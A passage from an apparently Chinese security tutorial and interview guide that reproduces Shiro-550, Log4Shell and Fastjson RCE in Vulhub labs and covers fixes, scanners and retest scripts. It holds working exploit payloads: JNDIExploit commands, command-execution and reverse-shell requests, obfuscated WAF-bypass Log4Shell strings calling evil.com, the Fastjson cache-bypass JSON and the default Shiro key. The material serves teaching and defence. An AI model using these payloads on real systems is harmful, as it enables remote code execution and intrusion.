echo "      mvn dependency:tree | grep -E 'shiro|commons-collections|commons-beanutils'"
echo "      要求:shiro >= 1.13.0, commons-collections >= 3.2.2"

echo ""
echo "补充:Cookie 安全属性检查"
curl -s -D - -o /dev/null -X POST "$TARGET/login" -d "username=admin&password=admin" \
  | grep -i "set-cookie" | sed 's/^/      /'
echo "      (应含 HttpOnly; Secure; SameSite)"
SCRIPT
chmod +x /tmp/verify_shiro.sh

6.4.8 面试怎么讲(1 分钟口述版)

“Shiro-550,编号 CVE-2016-4437,CVSS 9.8。

原理一句话:Shiro 的 rememberMe 功能把用户对象序列化后用 AES 加密存在 Cookie 里, 但 1.2.4 及以前的版本加密密钥是硬编码在源码里的固定值 kPH+bIxk5D2deZiIxcaaaA==。 攻击者用这个公开密钥加密一段恶意序列化数据,当成 Cookie 发过去, 服务器解密后直接反序列化,触发 CommonsCollections 或 CommonsBeanutils 利用链,无需登录直接 RCE。

我自己在 Vulhub 上复现过:用 ysoserial 生成 payload,写了个 Python 脚本用默认密钥做 AES-CBC 加密, 一个 curl 请求就在容器里创建了文件,完全不需要账号密码。

根因我认为有两层: 表面是硬编码密钥,深层是把’加密’当成了’认证’—— AES 只保证机密性,但密钥一旦公开,攻击者也能造出合法密文, 加密就失去了意义。

修复我们做了三件事: 第一,升级 Shiro 到 1.13.0,它会强制要求配置密钥,没有默认密钥了; 第二,密钥改成每次部署随机生成,从环境变量注入,绝不进代码仓库; 第三,升级 commons-collections 到 3.2.2,把利用链本身断掉。 另外我们排查了历史代码,发现有人把密钥改成了’我爱java技术’这种, 其实还是在字典里,一并修掉了。“

追问准备:

追问 怎么答
“怎么快速判断一个站有没有 Shiro-550?” ① 发个请求看响应有没有 rememberMe=deleteMe(Shiro 指纹);② 用 URLDNS 链 + 默认密钥发一次,看 dnslog 有没有记录(无害验证)
“为什么 CC 链在 Shiro 上可能失败,要用 CB 链?” 因为 Shiro 自身依赖 commons-beanutils,但项目不一定依赖 commons-collections。CB 链(CommonsBeanutils1)依赖 beanutils,所以命中率更高。实战两个都试
“修复后还会被绕过吗?” 如果只升级 Shiro 但不改密钥,攻击者如果能拿到你的密钥(比如配置文件泄露)还是能打。所以改密钥是必须的,而且不能是可预测的单词
“这个漏洞给你什么启发?” ① 任何框架默认值都要改;② 密钥不能进代码仓库(我们用 gitleaks 在 CI 里卡);③ 依赖要定期扫描(SCA)

6.5 Log4Shell 完整复现(CVE-2021-44228)

这是本世纪影响最大的漏洞之一,值得单独用一整节讲清楚。

漏洞编号:CVE-2021-44228,CVSS 10.0(满分) 影响版本:Apache Log4j2 2.0-beta9 ~ 2.14.1 发现时间:2021 年 12 月 9 日(那天几乎所有互联网公司的安全/运维都在通宵) 一句话原理:Log4j2 在打印日志时,会把日志内容里的 ${...} 当成表达式去求值。 其中 ${jndi:ldap://攻击者服务器/a} 会触发 JNDI 查询, 去攻击者的服务器下载一个 Java 类并加载执行 —— 于是打一行日志 = RCE。

6.5.1 为什么它这么恐怖?(四个“史无前例”)

维度 说明
① 无处不在 Log4j 是 Java 世界最基础的日志库。你的项目可能没直接用,但你依赖的框架用了(Elasticsearch、Kafka、Flink、Spark、Struts、Solr、Druid、Minecraft…)。有统计说全球数亿台设备受影响
② 触发极其容易 不需要登录、不需要特定接口。任何会把用户输入写进日志的地方都行:登录框的用户名、User-Agent 头、订单备注、搜索关键词……
③ 利用极其简单 payload 就一串字符:${jndi:ldap://xxx.dnslog.cn/a}。复制粘贴就能打
④ 防御极其困难 ${ 这个语法可以嵌套和变形(${${lower:j}ndi:...}),传统的“拦截 jndi: 字符串”的 WAF 规则一绕就过

生活类比: 假设快递公司有个规矩:“包裹备注栏里如果写了 【查号台:XXX】 这种格式,快递员就要真的打电话去 XXX 查号”。 这个规矩本来是为了方便内部查询。 结果有人在备注栏写:【查号台:骗子公司电话】, 快递员就真打了骗子电话,骗子说:“你先把收件人身份证号念给我听,再把包裹送到我这里来。” 快递员照做了。

问题出在哪? 出在“备注栏的内容不该被当成指令执行“。 Log4j 的错误就是:它把”数据“当成了”代码“。

6.5.2 五个名词逐个拆开(必须懂,否则后面看不懂)

名词 白话解释
Log4j / Log4j2 Java 的日志框架(还有个前辈叫 Log4j 1.x,和这个漏洞无关)。logger.info("用户登录:" + username) 就是它干的活
Lookup(查找) Log4j 的一个功能:日志里写 ${...},它会在打印时去“查”一下这个东西的真实值再打出来。比如 ${java:version} 会打印出 JDK 版本
JNDI Java 的“按名字查资源“接口。它支持很多”后端“:LDAP、RMI、DNS、CORBA…… 你给它一个名字,它去对应的服务上找
LDAP 一种目录服务协议(公司里的“员工通讯录”常用它)。在 Log4Shell 里它被用来传递恶意 Java 类的下载地址
RMI Java 的远程方法调用。和 LDAP 一样,是 JNDI 的另一个“后端”,也能用来投递恶意类

关键理解:JNDI + LDAP 是怎么变成 RCE 的?

JNDI 查 LDAP 时,LDAP 服务器可以返回一个“引用”(Reference),里面写着“这个对象在 http://evil.com/Exploit.class 这个地址,你去下载它”。 JNDI 客户端(也就是受害服务器)会真的去下载并加载这个类。 加载一个类 = 执行它的静态代码块/static 初始化代码 = RCE。

Log4j 打印日志:"${jndi:ldap://evil.com/a}"
        │
        ▼
Log4j 发现 ${...} → 触发 Lookup → 识别前缀是 jndi:
        │
        ▼
交给 JNDI 处理:InitialContext.lookup("ldap://evil.com/a")
        │
        ▼
JNDI 连上 evil.com 的 LDAP 服务(攻击者搭建的)
        │
        ▼
LDAP 服务返回一条记录,里面有个 javaCodeBase 属性:
        "http://evil.com/Exploit.class"
        │
        ▼
★ JNDI 客户端真的去下载这个 class 文件
        │
        ▼
★ 用 ClassLoader 加载它 → 执行 static{} 静态代码块
        │
        ▼
    💥 攻击者的代码在服务器上执行了

6.5.3 动手:用 Vulhub 复现

cd ~/vulhub/log4j/CVE-2021-44228
docker compose up -d
docker compose ps
# 预期:
# NAME                          SERVICE   STATUS   PORTS
# cve-2021-44228-solr-1         solr      Up       127.0.0.1:8983->8983/tcp

# 探活(这个靶场是一个 Apache Solr 8.11.0,内部用了有漏洞的 Log4j 2.14.1)
curl -s "http://127.0.0.1:8983/solr/admin/cores?action=STATUS" | head -30

第 1 步:用 DNS 验证漏洞存在(无害)

去 dnslog.cn 点 “Get SubDomain”,拿到一个域名,比如 abc7de.dnslog.cn。

# 这个靶场的注入点在 Solr 的管理接口参数里
curl -s 'http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://abc7de.dnslog.cn/test}'

回到 dnslog.cn 点 “Refresh Record”:

预期看到:

DNS Query Record
abc7de.dnslog.cn   106.xx.xx.xx   2026-09-04 03:20:15

这条 DNS 记录说明什么? 说明服务器真的去解析了 abc7de.dnslog.cn —— 也就是执行了 ${jndi:...}。 漏洞确认存在。

这一步是安全的:只做 DNS 解析,没有下载任何类,不会造成危害。 实战中永远先用 URLDNS / DNS 探测确认漏洞,再考虑进一步利用。

第 2 步:搭建攻击者的 LDAP + HTTP 服务

攻击者的服务器需要同时提供两个服务:

  • LDAP 服务(1389 端口):告诉受害者“恶意类在 http://攻击者IP:8888/Exploit.class”
  • HTTP 服务(8888 端口):真的把这个 .class 文件提供出去

用现成的工具 JNDIExploit(最省事):

# 下载 JNDIExploit
cd ~/tools
curl -L -o JNDIExploit.jar \
  "https://github.com/feihong-cs/JNDIExploit/releases/download/v1.4/JNDIExploit-1.4-SNAPSHOT.jar"

# 启动(同时起 LDAP + RMI + HTTP)
# -i 攻击机 IP(容器要能访问到,Docker Desktop 用 host.docker.internal)
java -jar JNDIExploit.jar -i host.docker.internal -p 8888

# 预期输出:
# [+] LDAP Server Start Listening on 1389...
# [+] RMI Server Start Listening on 1099...
# [+] HTTP Server Start Listening on 8888...
# [+] Target Token: ...

JNDIExploit 提供的“利用模板”(这些路径内置了不同用途的 payload):

路径 作用
ldap://IP:1389/Basic/Command/Base64/[base64命令] 直接执行一条命令
ldap://IP:1389/Basic/ReverseShell/[IP]/[PORT] 反弹 Shell
ldap://IP:1389/Basic/TomcatEcho 回显(针对 Tomcat)
ldap://IP:1389/Basic/Dnslog/[域名] 只做 DNS 探测

第 3 步:执行命令

# 先在本地把命令 base64 编码
echo -n 'touch /tmp/LOG4SHELL_PWNED' | base64 -w0
# 输出:dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=

# 构造 payload
PAYLOAD='${jndi:ldap://host.docker.internal:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=}'

# 注意:URL 里的特殊字符要编码(用 --data-urlencode 或 curl -G)
curl -s -G 'http://127.0.0.1:8983/solr/admin/cores' \
  --data-urlencode "action=$PAYLOAD"

# 或者手工编码:${ → %24%7B
curl -s 'http://127.0.0.1:8983/solr/admin/cores?action=%24%7Bjndi:ldap://host.docker.internal:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=%7D'

JNDIExploit 那边会显示:

[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9MT0c0U0hFTExfUFdORUQ=
[+] Sending LDAP Resource Reference to http://host.docker.internal:8888/ExecTemplateJDK8.class
[+] New HTTP Request From /172.20.0.3  GET /ExecTemplateJDK8.class
[+] Command Executed: touch /tmp/LOG4SHELL_PWNED

验证:

docker exec cve-2021-44228-solr-1 ls -la /tmp/LOG4SHELL_PWNED
# 预期:
# -rw-r--r-- 1 solr solr 0 Sep  4 03:25 /tmp/LOG4SHELL_PWNED
# ★ 存在 = RCE 成功

第 4 步:反弹 Shell

# 攻击机开监听(终端 1)
nc -lvnp 6666

# 终端 2:发 payload(注意 IP 用容器能访问到的地址)
curl -s 'http://127.0.0.1:8983/solr/admin/cores?action=%24%7Bjndi:ldap://host.docker.internal:1389/Basic/ReverseShell/host.docker.internal/6666%7D'

# 终端 1 应该拿到 shell

6.5.4 WAF 绕过:为什么这个漏洞拦不住

这是 Log4Shell 最有技术含量的部分,面试讲这个非常加分。

原因:${} 支持嵌套求值和“默认变量”语法 :-

# 变形 1:用 ${lower:} 把 J 变小写 → 字符串里不再有连续的 "jndi:"
${${lower:j}ndi:ldap://evil.com/a}
#     ↑ 先求值 ${lower:j} 得到 "j",拼起来还是 "jndi:..."

# 变形 2:多层嵌套
${${lower:j}${lower:n}${lower:d}i:ldap://evil.com/a}

# 变形 3:用 ${::-} 插入一个"空默认值"
# 语法 ${key:-default} 意思是:取环境变量 key,如果不存在就用 default
${jndi:ldap://127.0.0.1:1389/#}                          # 原始
${${env:foo:-j}ndi:ldap://evil.com/a}                     # 插空
${j${::-n}di:ldap://evil.com/a}                           # 在中间插

# 变形 4:用大小写混淆 + 环境变量
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap://evil.com/a}

# 变形 5:用 sys/java 里的属性拼
${jndi:${lower:l}dap://evil.com/a}

# 变形 6:Upper/Lower 组合(Cloudflare 当年观察到的真实绕过)
${j${upper:n}di:ldap://evil.com/a}

绕过原理图解:

WAF 的规则:if (请求 contains "jndi:") 就拦截
        │
        ▼
攻击者发:${${lower:j}ndi:ldap://...}
        │
        ▼
WAF 检查:字符串里有 "jndi:" 吗?
        → 没有!只有 "${lower:j}ndi:"   ← 中间的 "j" 被 ${...} 隔开了
        → 放行
        │
        ▼
Log4j 收到后求值:${lower:j} = "j"
        → 拼成 "jndi:ldap://..."
        → 触发 JNDI
        → 💥 RCE

核心矛盾:WAF 看到的是“字面量”,Log4j 看到的是“求值后的结果”。 只要存在“求值”这一步,字面量检查就永远可以被绕过。

面试金句: “Log4Shell 最难防的地方在于它不是一个简单的字符串匹配问题。 Log4j 的 ${} 语法支持嵌套求值和 ${key:-default} 插入, 攻击者可以构造出无数种写法,字面量都不含 jndi:,但求值后都是同一个东西。 所以基于规则的 WAF 本质上防不住,只能靠升级版本 + 输入过滤。 我们当时的做法是:先把 WAF 规则加上作为临时缓解(拦住脚本小子的批量扫描), 但不依赖它,真正的修复是两天内把所有应用的 Log4j 升到 2.17.1。”

6.5.5 修复:四条路,从应急到根治

【应急方案 1】JVM 启动参数(最快,1 分钟生效)

# Log4j 2.10+ 可用:关闭消息里的 Lookup 功能
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar

# Log4j 2.0-beta9 ~ 2.10 之间(不支持上面的参数),用这个:
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
     -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
     -jar app.jar

【应急方案 2】删除 JndiLookup 类(不改代码,改依赖包)

# 找到所有 log4j-core 的 jar
find / -name "log4j-core-*.jar" 2>/dev/null

# 直接从 jar 里删掉 JndiLookup.class(不需要重启 JDK,但要重启应用)
zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# 验证删干净了
unzip -l log4j-core-2.14.1.jar | grep -i jndilookup
# 预期:无输出 = 删干净了

# ★ 批量脚本(应急时救命)
for jar in $(find /app -name "log4j-core-*.jar"); do
  echo "处理:$jar"
  zip -q -d "$jar" org/apache/logging/log4j/core/lookup/JndiLookup.class 2>/dev/null && echo "  ✅ 已删除" || echo "  ⚠️  删除失败或本来就没有"
done

【根治方案 3】升级版本(★ 唯一正确答案)

<!-- pom.xml -->
<properties>
    <!-- ✅ 2.17.1 是第一个完全安全的版本
         2.15.0 修了 RCE 但还有 CVE-2021-45046(DoS / 特定配置下 RCE)
         2.16.0 禁了 JNDI 但还有 CVE-2021-45105(DoS)
         ★ 直接上 2.17.1 或更高 -->
    <log4j2.version>2.23.1</log4j2.version>
</properties>

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>${log4j2.version}</version>
</dependency>

如果是 Spring Boot 项目(默认用 Logback,但可能被依赖带进来 Log4j):

<properties>
    <log4j2.version>2.23.1</log4j2.version>
</properties>
<!-- ★ 光改 dependency 没用,必须覆盖 Spring Boot 的 dependencyManagement -->
<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-bom</artifactId>
            <version>2.23.1</version>
            <scope>import</scope>
            <type>pom</type>
        </dependency>
    </dependencies>
</dependencyManagement>

版本对照表(面试常被问“该升到哪个版本”):

版本 状态 说明
2.0-beta9 ~ 2.14.1 ❌ 高危 CVE-2021-44228(RCE,10.0)
2.15.0 ⚠️ 仍有问题 修了 44228,但有 CVE-2021-45046(特定配置下 RCE,9.0)
2.16.0 ⚠️ 基本可用 禁用 JNDI + 禁用消息 Lookup,但有 CVE-2021-45105(DoS)
2.17.0 ✅ 安全 修了 45105
2.17.1 ✅ 推荐基线 修了 CVE-2021-44832(JDBC Appender RCE,6.6)
2.23.1+ ✅ 当前推荐 后续还修了 CVE-2023-26464 等

【方案 4】代码层面:不要直接拼接用户输入进日志

// ❌ 危险:用户输入直接进日志,如果 Log4j 有漏洞就可能被利用
log.info("用户登录失败,用户名:" + username);

// ✅ 更安全的习惯:用参数化占位符(虽然对 Log4Shell 本身不免疫,
//    但能让"异常字符"更容易被发现,也是良好的工程习惯)
log.info("用户登录失败,用户名:{},IP:{}", username, ip);

// ✅ 输入净化(纵深防御):去掉日志里的 ${ 这种敏感模式
public static String sanitizeForLog(String input) {
    if (input == null) return null;
    return input.replace("$", "").replace("{", "").replace("}", "");
}
log.info("用户输入:{}", sanitizeForLog(userInput));

6.5.6 自查:我的项目有没有中招?

方法 1:看依赖树

# Maven
mvn dependency:tree | grep -i log4j
# 预期如果看到:
# [INFO] +- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile   ← ❌ 中招
# [INFO] +- org.apache.logging.log4j:log4j-core:jar:2.23.1:compile   ← ✅ 安全

# Gradle
./gradlew dependencies | grep -i log4j

方法 2:直接扫 jar 包(适用于已经打好的包/线上的机器)

cat > /tmp/scan_log4j.sh <<'SCRIPT'
#!/bin/bash
# 扫描本机所有 jar 里的 Log4j 版本(应急自查用)
echo "=== Log4j 漏洞自查 ==="
echo "扫描路径:${1:-/}"
found=0

# 1. 找所有 jar
find "${1:-/}" -name "*.jar" -type f 2>/dev/null | while read jar; do
  # 2. 看 jar 里有没有 JndiLookup.class(有就说明是受影响版本)
  if unzip -l "$jar" 2>/dev/null | grep -qi "log4j/core/lookup/JndiLookup.class"; then
    # 3. 读版本号
    ver=$(unzip -p "$jar" "META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties" 2>/dev/null \
          | grep "^version=" | cut -d= -f2)
    echo "  ❌ 受影响:$jar (log4j-core $ver)"
  fi
done

# 4. 也找嵌套的 jar(fat jar / war / ear 里可能还包着 jar)
find "${1:-/}" \( -name "*.war" -o -name "*.ear" \) -type f 2>/dev/null | while read w; do
  cnt=$(unzip -l "$w" 2>/dev/null | grep -c "log4j-core.*\.jar")
  [ "$cnt" -gt 0 ] && echo "  ⚠️  归档包内含 log4j-core:$w (${cnt} 处)"
done

echo ""
echo "=== 检查 JVM 缓解参数 ==="
jps -lv 2>/dev/null | grep -i "log4j2.formatMsgNoLookups" \
  && echo "  ✅ 有应用已启用缓解参数" \
  || echo "  ⚠️  未发现启用 log4j2.formatMsgNoLookups=true 的 Java 进程"
SCRIPT
chmod +x /tmp/scan_log4j.sh
# /tmp/scan_log4j.sh /app

方法 3:用专业工具(推荐)

# Log4j-detector(Google 开源,能识别被重打包/改名的 Log4j)
java -jar log4j-detector.jar /app

# 或者用 trivy / grype 扫镜像
trivy image --severity CRITICAL myapp:latest | grep -i log4j

# 或者用 Nuclei(第九章会讲)
nuclei -u http://target -t cves/2021/CVE-2021-44228.yaml

6.5.7 复测脚本

cat > /tmp/verify_log4shell.sh <<'SCRIPT'
#!/bin/bash
# Log4Shell 修复复测
TARGET="${1:-http://127.0.0.1:8983}"
DNS="${2:-abc7de.dnslog.cn}"     # 换成你自己的 dnslog 域名

echo "=== Log4Shell 修复复测(共 8 项)==="
echo "说明:去 dnslog.cn 点 Refresh Record,如果【没有】来自服务器 IP 的记录 = 通过"
echo ""

# 8 种变形 payload,都要试(因为修复不完整时可能只挡住原始形式)
declare -a PAYLOADS=(
  '${jndi:ldap://DNS/a}'
  '${${lower:j}ndi:ldap://DNS/a}'
  '${${upper:j}ndi:ldap://DNS/a}'
  '${j${::-n}di:ldap://DNS/a}'
  '${${env:foo:-j}ndi:ldap://DNS/a}'
  '${jndi:rmi://DNS/a}'
  '${jndi:dns://DNS/a}'
  '${jndi:${lower:l}dap://DNS/a}'
)

i=1
for p in "${PAYLOADS[@]}"; do
  real="${p//DNS/$DNS}"
  enc=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$real")
  curl -s -o /dev/null -m 10 \
    "http://127.0.0.1:8983/solr/admin/cores?action=$enc"
  printf "  [%d] 已发送:%s\n" "$i" "${real:0:50}"
  i=$((i+1))
done

echo ""
echo "→ 现在去 $DNS 的 dnslog 页面点 Refresh Record"
echo "  预期:0 条记录(如果有记录,说明该变形仍能触发)"
echo ""
echo "=== 版本自查 ==="
echo "  mvn dependency:tree | grep log4j        # 要求 log4j-core >= 2.17.1"
echo "  java -jar log4j-detector.jar /app       # 检查 fat jar 里的嵌套依赖"
SCRIPT
chmod +x /tmp/verify_log4shell.sh

6.5.8 面试怎么讲(1 分钟口述版)

“Log4Shell 是 CVE-2021-44228,CVSS 满分 10.0,影响 Log4j2 的 2.0-beta9 到 2.14.1。

原理:Log4j2 有个 Lookup 功能,日志里写 ${xxx} 它会在打印时去求值。 其中 ${jndi:ldap://...} 会触发 JNDI 查询,从攻击者控制的 LDAP 服务器下载一个 Java 类并加载, 加载类就会执行静态代码块,于是打一行日志就 RCE。

为什么危害这么大:第一,Log4j 无处不在,很多中间件都依赖它; 第二,触发点极多,任何把用户输入写进日志的地方都行,比如登录用户名、User-Agent; 第三,难防,因为 ${} 支持嵌套求值,${${lower:j}ndi:...} 这种变形 字面量里没有 jndi:,WAF 基于字符串匹配的规则根本拦不住。

我在 Vulhub 上复现过:起一个 Solr 8.11 的靶场,用 JNDIExploit 搭 LDAP + HTTP 服务, 一个带 ${jndi:ldap://...} 的 URL 参数,就在容器里创建了文件。

我们的处置分三层: 应急当天,先给所有 Java 进程加了 -Dlog4j2.formatMsgNoLookups=true 启动参数止血; 同时用脚本批量删除 jar 里的 JndiLookup.class; 根本修复是两天内把所有服务的 Log4j 升到 2.17.1, 特别注意 Spring Boot 项目要用 dependencyManagement 覆盖 BOM,光改 dependency 版本没用。 之后我们把 trivy 镜像扫描 + SCA 依赖扫描加进了 CI,每周自动扫一次。“

追问准备:

追问 怎么答
“为什么升到 2.15.0 还不够?” 2.15.0 只修了 44228,还有 CVE-2021-45046(特定配置下 RCE)和 45105(DoS)。必须到 2.17.1 才算完全修完(44832 也修了)
“WAF 能不能防住?” 只能拦住最简单的原始 payload,对 ${${lower:j}ndi:} 这类变形无能为力。因为WAF 看字面量,Log4j 看求值结果。WAF 只能当临时缓解,不能当修复
“怎么知道自己的服务有没有中招?” ① mvn dependency:tree 看版本;② 用 Google 的 log4j-detector 扫 fat jar(能识别被重打包的);③ 用 dnslog 发一个 ${jndi:ldap://xxx.dnslog.cn/a} 做验证
“2.17.1 之后 Log4j 还有漏洞吗?” 有,但都不是 RCE 级别。比如 CVE-2023-26464(DoS,HashMap 哈希碰撞)。所以还是要持续做 SCA 扫描
“这个漏洞给你什么教训?” ① 依赖管理要有台账(SBOM);② 要有应急能力(出了 0day 能不能 48 小时内全量升级);③ 日志里的用户输入要净化

6.6 Fastjson 反序列化(1.2.24 RCE)

漏洞:Fastjson ≤ 1.2.24 的 autotype 功能导致 RCE 影响:Fastjson 是阿里开源的 JSON 库,国内使用量极大(比 Jackson 在某些场景下更快、API 更“顺手”) 一句话原理:JSON 里写 "@type":"com.sun.rowset.JdbcRowSetImpl", Fastjson 会按这个名字去加载类并还原对象, 而还原过程中会调用它的 setter 方法,其中某个 setter 会触发 JNDI 查询 → RCE。

6.6.1 两个名词

名词 白话解释
Fastjson 阿里开源的 Java JSON 库。JSON.parseObject(json, User.class) 就是它
autotype Fastjson 的一个功能:JSON 里用 @type 字段指定“要还原成哪个类”。设计初衷是为了支持“多态”(JSON 里存的是子类,还原时也要变成子类)

autotype 为什么危险? 因为它让 JSON 字符串可以决定“服务器要加载哪个类、调用哪个 setter”。 这等于把“类加载权”交给了外部输入——和 6.2 反序列化的根因一模一样。

对比一下这四种漏洞的根因(面试讲这个非常体现体系化理解):

漏洞 外部数据决定了什么 根因
Shiro-550 要还原哪个对象(序列化字节流) 硬编码密钥 + 反序列化
Log4Shell 要去查什么资源(${jndi:...}) 把“数据”当“表达式”求值
Fastjson 要加载哪个类(@type) 把“数据”当“类型名”
SpEL 注入(6.7) 要执行什么表达式(${T(...)}) 把“数据”当“代码”求值

一句话总结这四个: 都是“外部输入控制了’该执行什么’”,区别只在于’控制的方式’不同。 防御思路也统一:凡是“由数据决定行为”的地方,都要有白名单。

6.6.2 攻击链条图

攻击者构造 JSON:
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",      ← ① 指定要加载这个类(JDK 自带,无需额外依赖)
  "dataSourceName": "ldap://evil.com/Exploit",   ← ② 设置它的 dataSourceName 属性
  "autoCommit": true                              ← ③ 设置 autoCommit(这是个 boolean)
}
        │
        ▼
Fastjson 解析:
  - 看到 @type → 去加载 com.sun.rowset.JdbcRowSetImpl,new 一个实例
  - 看到 dataSourceName → 调用 setDataSourceName("ldap://evil.com/Exploit")
  - 看到 autoCommit → 调用 setAutoCommit(true)
        │
        ▼
★ JdbcRowSetImpl.setAutoCommit() 的内部实现(JDK 源码):
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();      // ← 没有连接,就去建立连接
        }
    }
    private Connection connect() throws SQLException {
        ...
        DataSource ds = (DataSource) new InitialContext()
            .lookup(this.getDataSourceName());   // ← ★★ 这里是 JNDI 查询!
        ...
    }
        │
        ▼
InitialContext.lookup("ldap://evil.com/Exploit")
        │
        ▼
和 Log4Shell 完全一样:LDAP 返回 javaCodeBase → 下载 Exploit.class → 加载执行
        │
        ▼
    💥 RCE

注意看这里:攻击者没有写任何代码,只是设置了两个普通的属性值。 是 JDK 自带的 JdbcRowSetImpl 类在自己正常的业务逻辑里做了 JNDI 查询。 这就是 Gadget Chain 的威力——用的是正版零件。

6.6.3 动手:用 Vulhub 复现

cd ~/vulhub/fastjson/1.2.24-rce
docker compose up -d
docker compose ps
# 预期:
# NAME                        SERVICE   STATUS   PORTS
# fastjson-124-rce-web-1      web       Up       127.0.0.1:8090->8090/tcp

# 探活:发一个正常 JSON
curl -s -X POST http://127.0.0.1:8090/ \
  -H "Content-Type: application/json" \
  -d '{"name":"朱宏晖","age":18}'
# 预期:返回解析后的结果,或 "Hello"

第 1 步:DNS 验证(无害)

curl -s -X POST http://127.0.0.1:8090/ \
  -H "Content-Type: application/json" \
  -d '{
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://abc7de.dnslog.cn/test",
        "autoCommit": true
      }'

# 去 dnslog.cn 刷新 → 应该看到 abc7de.dnslog.cn 的解析记录

第 2 步:真正 RCE

# 攻击机起 JNDIExploit(和 Log4Shell 用同一个工具)
java -jar ~/tools/JNDIExploit.jar -i host.docker.internal -p 8888

# base64 编码命令
echo -n 'touch /tmp/FASTJSON_PWNED' | base64 -w0
# 输出:dG91Y2ggL3RtcC9GQVNUSlNPTl9QV05FRA==

# 发 payload
curl -s -X POST http://127.0.0.1:8090/ \
  -H "Content-Type: application/json" \
  -d '{
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://host.docker.internal:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9GQVNUSlNPTl9QV05FRA==",
        "autoCommit": true
      }'

# 验证
docker exec fastjson-124-rce-web-1 ls -la /tmp/FASTJSON_PWNED
# 预期:文件存在 = RCE 成功

第 3 步:另一种利用方式(TemplatesImpl,需要服务端开了 SupportNonPublicField)

# 如果目标服务端解析时开了 Feature.SupportNonPublicField,可以用 TemplatesImpl 链
# 原理:把恶意类的字节码 base64 后塞进 _bytecodes 字段,Fastjson 还原时加载它
# 生成 payload(用工具)
java -jar ~/tools/ysoserial.jar CommonsCollections3 "touch /tmp/FASTJSON_PWNED2" > /tmp/tpl.ser
# 实际构造较复杂,实战用现成工具(如 fastjson_rce_tool、Burp 的 FastjsonScan 插件)

# 简化演示 payload(理解用):
# {
#   "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
#   "_bytecodes": ["<恶意类字节码的 base64>"],
#   "_name": "a.b",
#   "_tfactory": {},
#   "_outputProperties": {}
# }

6.6.4 绕过史:Fastjson 的“打地鼠”(★ 了解这段历史特别加分)

Fastjson 的修复史堪称**“道高一尺魔高一丈”的典型案例。面试讲这段能体现你对“安全是过程不是状态”**的理解。

版本区间 防御措施 绕过手法
≤ 1.2.24 无(autotype 默认开) 直接用 @type
1.2.25 ~ 1.2.41 加了 autotype 黑名单,默认关闭 类名前后加 L 和 ;:"@type":"Lcom.sun.rowset.JdbcRowSetImpl;"(这是 JVM 的类型描述符写法,Fastjson 会去掉 L/; 再加载,但黑名单没匹配到)
1.2.42 黑名单改成哈希(防止看源码就知道屏蔽了谁);过滤 L/; 双写绕过:"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;"(过滤一次后还剩一对)
1.2.43 检测到 LL 开头就抛异常 改用 [ 数组写法:"@type":"[com.sun.rowset.JdbcRowSetImpl"[{...}]
1.2.44 ~ 1.2.46 修了 [ 用其他 Gadget(如 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,需要目标有 mybatis 依赖)
1.2.47 及之前 增加了 checkAutoType 的缓存判断 ★ “缓存绕过”:先用 java.lang.Class 把恶意类“注册”进缓存,第二步就能直接用。这个绕过通杀 1.2.25~1.2.47
1.2.48 修了缓存绕过(缓存默认关闭) —
1.2.68 / 1.2.80 又有新的绕过(需要特定依赖,如 expectClass 机制) —
1.2.83+ safeMode 默认更安全 目前无明显通用绕过

1.2.47 的“缓存绕过”payload(经典,值得记住):

{
  "a": {
    "@type": "java.lang.Class",                        // ① 先让 Fastjson 加载这个"正常"的类
    "val": "com.sun.rowset.JdbcRowSetImpl"             //    并把 JdbcRowSetImpl 塞进 mappings 缓存
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",          // ② 第二次用的时候,checkAutoType 查缓存发现"有了"
    "dataSourceName": "ldap://evil.com/Exploit",       //    直接放行(缓存优先级高于黑名单!)
    "autoCommit": true
  }
}

这个绕过的精妙之处: Fastjson 的 checkAutoType 逻辑顺序是:

1. 先查缓存 mappings → 有就直接用(不检查黑名单!)
2. 再检查白名单
3. 再检查黑名单
4. 最后才加载类

攻击者利用第 1 步,先把恶意类塞进缓存,之后就绕过了第 3 步的黑名单检查。

安全设计启示:缓存/白名单/黑名单的检查顺序至关重要。 凡是“某个分支能跳过后续所有安全检查”的设计,都极可能被利用。 正确的做法是:缓存命中也要再过一遍黑名单。

6.6.5 修复

<!-- 【方案 1,推荐】升级到 1.2.83+ -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>

<!-- 【方案 2,更彻底】换成 fastjson2(阿里重写的,架构上更安全) -->
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.52</version>
</dependency>

<!-- 【方案 3,最彻底】换 Jackson(Spring Boot 默认,无 autotype 机制) -->
<!-- Spring Boot 自带,不用额外引 -->

代码层面加固:

// 【加固 1】关闭 autotype(全局,推荐放在启动类或配置类里)
